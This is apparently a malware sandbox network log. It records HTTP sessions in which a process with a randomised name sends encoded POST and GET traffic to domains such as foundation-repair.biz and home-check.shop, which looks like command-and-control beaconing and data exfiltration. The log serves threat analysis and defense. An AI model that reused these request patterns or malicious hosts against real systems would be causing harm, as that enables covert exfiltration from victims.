Aug 27, 2024 08:00:29.703826904 CEST	6445	OUT	Data Raw: 32 78 31 4a 33 36 49 58 54 51 66 55 43 75 4c 43 45 65 42 52 37 36 33 62 64 46 51 51 63 78 37 64 64 53 4a 52 34 74 44 62 34 37 45 75 73 66 73 54 5a 49 68 52 74 77 52 6c 77 75 50 41 7a 68 65 43 2b 41 71 59 56 34 2f 50 38 6f 4b 56 5a 43 44 59 59 75 Data Ascii: 2x1J36IXTQfUCuLCEeBR763bdFQQcx7ddSJR4tDb47EusfsTZIhRtwRlwuPAzheC+AqYV4/P8oKVZCDYYuGkIuJPECuWF0jha7FDCrk326RiaiCTBRquV1TK4rN5/k4VrTqVw26f5Tmgny5ho0oAVRu5wbRkOX2v6a6upoiNWwML3ic+5hzcXlx3fRemdCv2dGBhEW1E0zneuCjWvn2+GSoNSSBmsQaBtfgjLaMa++DS1GesgLI
Aug 27, 2024 08:00:29.703881979 CEST	3867	OUT	Data Raw: 39 7a 4e 6f 5a 45 68 73 63 66 4e 50 32 72 34 65 53 5a 4d 72 43 31 2b 2b 45 66 73 61 44 54 76 44 72 44 6a 4e 6f 46 6f 75 7a 6e 69 4f 4a 51 31 76 37 36 54 70 73 75 4e 4f 30 78 76 65 43 73 38 49 2f 55 66 78 4c 4e 69 73 70 7a 69 53 67 4c 73 51 75 49 Data Ascii: 9zNoZEhscfNP2r4eSZMrC1++EfsaDTvDrDjNoFouzniOJQ1v76TpsuNO0xveCs8I/UfxLNispziSgLsQuI5i7o47ytJOQnerYxVotzyQmNovLHuSDnLWSfk5g1niihleTPd2W5mzU7lxjc0WrCb/WZp0t2fzowikO5qQlOCmP25C5jM2SX91CGPkKt35rXjNOzcEAPEnoY5gUum/NFLtu4XNF+e/NoggoRrNnCGmTD3ZyD1vi9U
Aug 27, 2024 08:00:29.943422079 CEST	1289	OUT	Data Raw: 4c 61 6e 6c 4d 6c 67 31 64 79 33 57 6a 75 4b 74 32 53 41 45 58 4e 41 73 61 63 4e 31 44 4c 35 4d 79 78 44 2f 75 39 31 72 48 46 7a 32 59 73 71 41 58 51 72 63 5a 52 57 6f 6b 32 68 70 2f 69 4e 75 48 66 37 2f 4d 44 4a 50 43 54 39 57 32 35 54 76 4b 4a Data Ascii: LanlMlg1dy3WjuKt2SAEXNAsacN1DL5MyxD/u91rHFz2YsqAXQrcZRWok2hp/iNuHf7/MDJPCT9W25TvKJ0KOCO3b/MWL/IkyDQqMzvUQ5bgp7XSrv4u6t8f7Nmfc5PdpnZ5C8IxBYNajtsMaY3f99w7Q08EGkYG9t28RZ1ERMzyD51EgHfN4dlSQQgpxQzrVTHpxrx5KgsqsqBWCMjtcJ4zYOaXW5dZQnJ6h2mSsUsQrwfez+O
Aug 27, 2024 08:00:29.943471909 CEST	1289	OUT	Data Raw: 6c 43 73 6f 4d 77 45 45 74 66 50 49 4f 55 66 56 76 56 78 57 67 52 78 64 61 59 55 57 71 34 58 64 69 58 4d 66 44 41 74 4f 4a 45 56 52 39 51 66 50 75 46 74 62 57 79 59 63 69 65 45 62 4f 42 4a 4d 2f 47 5a 6d 47 51 4c 31 54 4f 44 68 69 43 75 43 73 63 Data Ascii: lCsoMwEEtfPIOUfVvVxWgRxdaYUWq4XdiXMfDAtOJEVR9QfPuFtbWyYcieEbOBJM/GZmGQL1TODhiCuCscOhpPU4P/G6psFlFnY1Enh//ZXwBm0u8MI5hFhAlAF3FBe2NSBdSta7sMmsd92Hp2psLJa38gqw5mEUe17zDmtFECUWgakQucfVbnSpaQ0D9DsWjkJSCvbRDNbmeJe9Nklqc/9aqFDCDMAgCfK9AbZn4OS+gHQiSdR
Aug 27, 2024 08:00:29.943640947 CEST	1289	OUT	Data Raw: 76 36 4e 48 72 73 48 30 39 30 72 75 55 6a 34 67 57 6d 36 4c 68 49 49 45 4f 67 55 35 65 41 50 4e 2b 31 45 46 5a 37 4a 75 77 75 49 71 65 50 45 37 43 6f 6d 69 4f 44 65 77 59 46 50 56 75 55 4e 7a 6e 77 79 64 71 6c 56 6c 55 64 62 4a 71 64 30 45 54 5a Data Ascii: v6NHrsH090ruUj4gWm6LhIIEOgU5eAPN+1EFZ7JuwuIqePE7ComiODewYFPVuUNznwydqlVlUdbJqd0ETZz/UahtrDRz3jJ+ZJiRYVsJ3g8QxhF458VxTegh4NU+z7waHsNdysuFyz+NcHIr+JNRA60nstIo1f1/4ucx3DWjhorRviNAm7rXcSHp5xLjTzx8HGN6dBp8hzrNPKP2DgNjU0Iw7b7dd0dbzpwggjzmSkvY57p8ZFK
Aug 27, 2024 08:00:29.943813086 CEST	3867	OUT	Data Raw: 63 4d 50 4b 35 54 6e 79 46 66 6e 62 65 38 79 31 79 49 53 72 35 6e 4d 5a 6e 44 44 66 63 52 78 66 54 67 71 68 41 6c 65 6a 75 51 57 38 54 57 45 49 61 4c 4f 43 57 6a 37 79 6d 73 57 56 51 78 35 49 37 54 50 56 61 55 4a 58 7a 75 55 43 73 71 41 32 69 41 Data Ascii: cMPK5TnyFfnbe8y1yISr5nMZnDDfcRxfTgqhAlejuQW8TWEIaLOCWj7ymsWVQx5I7TPVaUJXzuUCsqA2iAb5oa/rK/El6uQiSHoE7mFDvYcog2si7yW8nJey7brl4AP3QhoHBSuAPHKKJwOjNubT+7Nmk8/kT8dMmMCsHM+d9ECcusw6aR4xmxwZUCg4rHIgdaBt4K5qzwdGhOXXdL5TC288MqZrr0t5MVCEbpD/XmRUGBhW8uC
Aug 27, 2024 08:00:29.943906069 CEST	2578	OUT	Data Raw: 76 4e 55 44 6d 4b 4a 73 38 4b 51 6d 4f 46 72 64 32 61 44 61 49 53 72 64 37 6b 69 48 63 34 56 79 32 6d 6b 6a 4b 54 57 36 63 78 66 36 42 51 45 35 44 69 66 77 31 77 31 69 52 74 68 37 35 75 76 30 70 4c 32 4a 36 4e 65 2f 2f 54 61 32 79 5a 71 74 6c 48 Data Ascii: vNUDmKJs8KQmOFrd2aDaISrd7kiHc4Vy2mkjKTW6cxf6BQE5Difw1w1iRth75uv0pL2J6Ne//Ta2yZqtlHjcvJAS2MkYG4mtK0/WES8vR38Szt/l4sY9Whfxo3i3nMY128Q1mOrSD7lV712hLzLCFHMwsnIyOr5jM7e9hTHkf4UyNyFNOu9yT8BS1aiieN1n2DkzhzH9LSyAkzN6K3btDuBNCzo6VBaorUzFL1JBe7PkAnZTsd4
Aug 27, 2024 08:00:29.944066048 CEST	9023	OUT	Data Raw: 31 4e 47 48 7a 56 78 43 30 37 44 37 46 53 38 35 32 74 6b 57 48 51 51 2f 4d 43 6e 31 4d 47 55 4d 61 6c 58 51 69 2f 71 74 2f 59 6a 46 4a 64 4f 63 52 69 58 71 4f 4d 32 79 31 36 44 31 58 63 51 6f 46 46 49 4b 77 4e 50 47 68 54 69 6c 32 61 6c 74 48 58 Data Ascii: 1NGHzVxC07D7FS852tkWHQQ/MCn1MGUMalXQi/qt/YjFJdOcRiXqOM2y16D1XcQoFFIKwNPGhTil2altHXOHNhxmCTp9IMUZKcMreeMiJMSy/nvmtgaTXC7WYKNolMOl0S1cRhbo1rGp//6cFPCslYedbsQUqhwwP/eswJnF9lFyxv8PfMsE6FDrRsCA4RO5kFsVQjc9oAdSsA+jcf/IuwodTtQZaSisS2rBTuDRElsvx1zlep1
Aug 27, 2024 08:00:29.944204092 CEST	6445	OUT	Data Raw: 52 6e 4f 49 4f 37 52 57 52 79 62 46 67 44 56 6a 69 6a 54 6c 4d 36 41 65 59 33 58 41 70 72 61 74 6d 5a 44 30 34 51 45 34 58 6b 54 77 44 31 64 31 59 59 70 37 71 38 38 35 76 30 7a 34 30 55 74 53 2b 30 38 67 4e 4b 33 75 35 52 46 50 65 46 36 4d 5a 56 Data Ascii: RnOIO7RWRybFgDVjijTlM6AeY3XApratmZD04QE4XkTwD1d1YYp7q885v0z40UtS+08gNK3u5RFPeF6MZVa4mHJwJHxLwtolr5u1WzPPAolAM/8UT2bwlJn7ik6jez5E/K9BbXxuK5/mFJ4t1cZDSsYruDNVTUgDsu7D1YAmBhMHV8Cstfv3clkQPq40mA2dbsuEEbqacScW+LCi+KHeW2Yk92Rg7CFdzVijii42NTOJXg8lgNd
Aug 27, 2024 08:00:30.182931900 CEST	1289	OUT	Data Raw: 4e 78 4e 4b 42 50 53 57 52 6a 32 38 63 62 39 54 6d 61 64 52 59 36 6a 66 73 4a 4a 4f 4f 4a 42 49 76 6c 66 74 44 38 5a 54 38 43 36 54 51 6f 35 39 66 61 52 51 6d 72 67 59 66 51 77 41 56 35 48 49 42 78 61 38 39 42 6d 67 36 42 63 4c 49 53 31 53 4d 32 Data Ascii: NxNKBPSWRj28cb9TmadRY6jfsJJOOJBIvlftD8ZT8C6TQo59faRQmrgYfQwAV5HIBxa89Bmg6BcLIS1SM2/TRc9UeIwii1ZIHqZ4eUJmCzu1IGHtiZpQMYckpsjddVPYorpg2Gj7T69Jop2BoJsT+WZu9KF+9JhZEm9/9eA5Z7p/lRLc2XMwPPb+tZASAD3hgK1MUGNgFaMLn7nK02ouDv0uU+5qRBpMANLGGst0ZZ8nmrkPQTy
Aug 27, 2024 08:00:30.481420994 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:00:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49877	185.230.15.3	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:32.482604980 CEST	549	OUT	GET /ns8q/?wXB=brv4Erb&ij60MtY=Inf42ZVLRw6HwISCOPUKL9E43+GpX4bkPpg82teOxrbDSww0PzIRQy8gHWXiaO2t1uZOdy10GUfR4hRxDB6Ts5zJpETBxtnbe//OQKeepMDnU8nxUbj7e0s= HTTP/1.1 Host: www.home-check.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:00:32.773437023 CEST	254	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:00:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 34 36 0d 0a 3c 68 31 3e 52 65 6c 61 74 65 64 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 53 6f 72 72 79 2c 20 77 65 20 63 61 6e 6e 6f 74 20 66 69 6e 64 20 74 68 61 74 20 70 61 67 65 2e 3c 2f 70 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 46<h1>Related Page not found</h1><p>Sorry, we cannot find that page.</p>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49878	199.59.243.226	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:37.892110109 CEST	841	OUT	POST /enra/ HTTP/1.1 Host: www.foundation-repair.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.foundation-repair.biz Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.foundation-repair.biz/enra/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 4a 73 68 79 66 65 61 55 65 56 41 50 39 4e 38 4a 4b 4f 39 6e 59 4a 4e 32 57 61 47 63 61 53 5a 69 65 52 72 63 5a 6d 31 4a 71 71 70 42 68 73 5a 54 70 6f 2b 55 31 44 56 48 2f 7a 74 69 42 36 54 47 7a 50 31 64 71 7a 41 6b 71 62 4b 42 34 46 66 37 62 66 47 67 56 55 6b 57 51 66 59 66 75 4d 39 46 75 45 70 5a 6d 4a 38 77 37 52 70 2f 72 53 56 55 6c 4a 4d 36 53 74 43 69 74 51 45 6e 59 75 66 42 62 39 74 75 48 31 56 65 52 57 4c 43 6e 38 59 41 7a 65 6d 4a 74 69 52 5a 33 45 72 50 4d 69 4c 37 71 74 6b 6c 49 78 77 70 4c 30 69 48 5a 34 4d 58 77 70 43 54 4d 32 57 68 4b 62 56 6a 6a 53 52 46 47 77 3d 3d Data Ascii: ij60MtY=JshyfeaUeVAP9N8JKO9nYJN2WaGcaSZieRrcZm1JqqpBhsZTpo+U1DVH/ztiB6TGzP1dqzAkqbKB4Ff7bfGgVUkWQfYfuM9FuEpZmJ8w7Rp/rSVUlJM6StCitQEnYufBb9tuH1VeRWLCn8YAzemJtiRZ3ErPMiL7qtklIxwpL0iHZ4MXwpCTM2WhKbVjjSRFGw==
Aug 27, 2024 08:00:37.994493008 CEST	1200	IN	HTTP/1.1 200 OK date: Tue, 27 Aug 2024 06:00:37 GMT content-type: text/html; charset=utf-8 content-length: 1150 x-request-id: 3cc0cd51-e59e-4b4b-b0cf-cb03530b3db4 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JUMrpzS0JSo3kDHGSd/xi71RDfm47M+ByYOqjzjPWIcDOSqxFj69EvnNniURFyze+eaWU9XrKZoupVKXUE0SVA== set-cookie: parking_session=3cc0cd51-e59e-4b4b-b0cf-cb03530b3db4; expires=Tue, 27 Aug 2024 06:15:37 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 55 4d 72 70 7a 53 30 4a 53 6f 33 6b 44 48 47 53 64 2f 78 69 37 31 52 44 66 6d 34 37 4d 2b 42 79 59 4f 71 6a 7a 6a 50 57 49 63 44 4f 53 71 78 46 6a 36 39 45 76 6e 4e 6e 69 55 52 46 79 7a 65 2b 65 61 57 55 39 58 72 4b 5a 6f 75 70 56 4b 58 55 45 30 53 56 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JUMrpzS0JSo3kDHGSd/xi71RDfm47M+ByYOqjzjPWIcDOSqxFj69EvnNniURFyze+eaWU9XrKZoupVKXUE0SVA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI1
Aug 27, 2024 08:00:37.994594097 CEST	639	IN	Data Raw: 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 Data Ascii: 2P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiM2NjMGNkNTEtZTU5ZS00YjRiLWIwY2YtY2IwMzUzMG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49879	199.59.243.226	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:40.530560970 CEST	1181	OUT	POST /enra/ HTTP/1.1 Host: www.foundation-repair.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.foundation-repair.biz Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.foundation-repair.biz/enra/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 4a 73 68 79 66 65 61 55 65 56 41 50 37 74 4d 4a 47 4e 56 6e 49 5a 4e 70 54 61 47 63 54 79 5a 35 65 52 76 63 5a 6e 42 6e 71 63 35 42 67 4f 42 54 6f 70 2b 55 79 44 56 48 71 44 74 37 4c 61 54 5a 7a 50 34 6f 71 33 45 6b 71 66 69 42 36 33 58 37 50 2f 47 68 42 6b 6b 58 58 66 59 63 6c 73 39 62 75 45 6b 79 6d 4e 30 77 37 69 74 2f 71 52 74 55 76 39 51 35 46 39 43 6f 35 67 45 6b 44 2b 66 54 62 38 51 62 48 30 78 67 52 6b 58 43 70 39 34 41 77 65 6d 49 6c 53 51 66 6f 55 71 43 44 42 6d 77 6d 64 59 4f 4a 53 52 78 43 55 4f 63 56 6f 45 78 39 37 69 49 64 6d 57 72 43 49 63 49 76 69 67 35 57 69 31 41 45 30 37 45 4e 2b 44 4c 4b 58 37 63 35 66 39 36 46 6c 34 68 33 2f 30 46 74 43 79 6d 44 38 68 31 4e 48 54 35 46 36 71 67 59 39 72 73 58 36 55 6f 74 31 4d 2b 7a 50 71 6e 56 38 55 33 4e 6e 73 43 6d 5a 5a 49 61 63 74 2f 76 39 72 6b 47 70 43 42 6d 62 4f 4e 61 54 75 44 72 38 43 38 61 62 73 49 2f 2f 38 4f 76 50 61 4a 6a 33 47 66 37 68 74 76 50 63 57 35 7a 79 69 58 4b 61 4c 76 54 62 71 55 4b 75 75 38 49 58 [TRUNCATED] Data Ascii: ij60MtY=JshyfeaUeVAP7tMJGNVnIZNpTaGcTyZ5eRvcZnBnqc5BgOBTop+UyDVHqDt7LaTZzP4oq3EkqfiB63X7P/GhBkkXXfYcls9buEkymN0w7it/qRtUv9Q5F9Co5gEkD+fTb8QbH0xgRkXCp94AwemIlSQfoUqCDBmwmdYOJSRxCUOcVoEx97iIdmWrCIcIvig5Wi1AE07EN+DLKX7c5f96Fl4h3/0FtCymD8h1NHT5F6qgY9rsX6Uot1M+zPqnV8U3NnsCmZZIact/v9rkGpCBmbONaTuDr8C8absI//8OvPaJj3Gf7htvPcW5zyiXKaLvTbqUKuu8IXAGZcpoqLjsGQy3xMDp32VGO6/PssQVpAwa+kPQI1cZ2rexlems4IzNgMYW0QOBmEnUnNEi06Vc53+PMmmzRo5e1sxBWiR4PfcMQJU3O4qlgAw8meL1GAXqSv4x9huRRgvZcgQdUm/G0DiXKcOj+y6r3ZmDSCT1fRDrzhEH+XOa3vKDNd50NAIsfquzDj+fK0/Wc9nuuT1pE1M=
Aug 27, 2024 08:00:40.633126974 CEST	1200	IN	HTTP/1.1 200 OK date: Tue, 27 Aug 2024 06:00:39 GMT content-type: text/html; charset=utf-8 content-length: 1150 x-request-id: 5d474b03-ff77-4a95-9c4f-b0acbe0680c3 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JUMrpzS0JSo3kDHGSd/xi71RDfm47M+ByYOqjzjPWIcDOSqxFj69EvnNniURFyze+eaWU9XrKZoupVKXUE0SVA== set-cookie: parking_session=5d474b03-ff77-4a95-9c4f-b0acbe0680c3; expires=Tue, 27 Aug 2024 06:15:40 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 55 4d 72 70 7a 53 30 4a 53 6f 33 6b 44 48 47 53 64 2f 78 69 37 31 52 44 66 6d 34 37 4d 2b 42 79 59 4f 71 6a 7a 6a 50 57 49 63 44 4f 53 71 78 46 6a 36 39 45 76 6e 4e 6e 69 55 52 46 79 7a 65 2b 65 61 57 55 39 58 72 4b 5a 6f 75 70 56 4b 58 55 45 30 53 56 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JUMrpzS0JSo3kDHGSd/xi71RDfm47M+ByYOqjzjPWIcDOSqxFj69EvnNniURFyze+eaWU9XrKZoupVKXUE0SVA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI1
Aug 27, 2024 08:00:40.633229017 CEST	639	IN	Data Raw: 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 Data Ascii: 2P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNWQ0NzRiMDMtZmY3Ny00YTk1LTljNGYtYjBhY2JlMD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49880	199.59.243.226	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:43.171567917 CEST	2578	OUT	POST /enra/ HTTP/1.1 Host: www.foundation-repair.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.foundation-repair.biz Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.foundation-repair.biz/enra/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 4a 73 68 79 66 65 61 55 65 56 41 50 37 74 4d 4a 47 4e 56 6e 49 5a 4e 70 54 61 47 63 54 79 5a 35 65 52 76 63 5a 6e 42 6e 71 63 78 42 68 39 4a 54 70 4b 57 55 7a 44 56 48 32 54 74 6d 4c 61 53 46 7a 50 67 6b 71 79 64 54 71 5a 6d 42 36 6c 76 37 50 70 71 68 52 55 6b 55 59 2f 59 65 75 4d 39 48 75 45 70 72 6d 4d 45 67 37 52 78 2f 72 57 52 55 72 4d 51 36 48 74 43 69 35 67 45 65 48 2b 65 6b 62 39 6b 4c 48 30 4e 67 52 6e 7a 43 6f 50 41 41 79 74 2b 49 73 69 51 51 6e 30 71 5a 4e 68 6d 56 6d 64 4d 30 4a 53 51 45 43 52 2b 63 56 76 77 78 79 5a 4b 4c 63 47 57 72 4d 6f 63 4c 72 6e 34 39 57 68 42 69 45 77 37 45 4e 35 33 4c 4b 33 37 63 76 75 38 73 42 46 35 71 7a 2f 30 53 6e 69 2b 75 44 38 31 62 4e 47 6e 35 46 71 2b 67 43 71 33 73 51 65 34 6f 74 56 4d 38 2b 76 71 77 61 63 56 32 4e 6a 42 70 6d 5a 34 39 61 62 56 2f 76 66 6a 6b 44 4c 71 65 67 37 4f 48 47 44 76 42 68 63 2f 7a 61 62 39 5a 2f 2f 38 67 76 4e 32 4a 6a 43 4f 66 36 67 74 6f 4d 4d 57 2b 37 53 69 43 64 4b 48 66 54 61 48 62 4b 75 57 73 49 51 [TRUNCATED] Data Ascii: ij60MtY=JshyfeaUeVAP7tMJGNVnIZNpTaGcTyZ5eRvcZnBnqcxBh9JTpKWUzDVH2TtmLaSFzPgkqydTqZmB6lv7PpqhRUkUY/YeuM9HuEprmMEg7Rx/rWRUrMQ6HtCi5gEeH+ekb9kLH0NgRnzCoPAAyt+IsiQQn0qZNhmVmdM0JSQECR+cVvwxyZKLcGWrMocLrn49WhBiEw7EN53LK37cvu8sBF5qz/0Sni+uD81bNGn5Fq+gCq3sQe4otVM8+vqwacV2NjBpmZ49abV/vfjkDLqeg7OHGDvBhc/zab9Z//8gvN2JjCOf6gtoMMW+7SiCdKHfTaHbKuWsIQgGY8pousXvIgywzMD/6WVVO6yssu9opwca4UfQCFcembe9u+mm8IzNgMUj0RyBmwjUpfcixrVc73+JMmn1Ro191sprWiATPcwMRYE3DaCm3wwDr+LYJgr9Sv059henRQTZdhsdDW/J+DiUdsOP1S+33Z61SGblfRrry1FIu1KyppPAHe9KMWYuQ469PBiOEh7becPHtyVyZRJYq4fzgQV6ESIlzICr60BG4/I/pxQZvSkxzXzwMgHLC1AaG4GXJsw1VB2tZ/OIwUSlxdxPdcGMpmxBH8cIrRx3mEQj9kMNj6js4E4rWcD/BfK4+VUmY/T+Zy692Z5igbmF1JlCIZ8FNMa1kxBy5PT/TAcLbsrXSpS2OCf8jgaCRHmmWzm9Vx/gDcdSZcHB7ssEemarrkOH7/vZicqoOtucbRwPyfxny/UI7FdeTxaqxFr0qcS0tua9zXl+77Lgcik0t8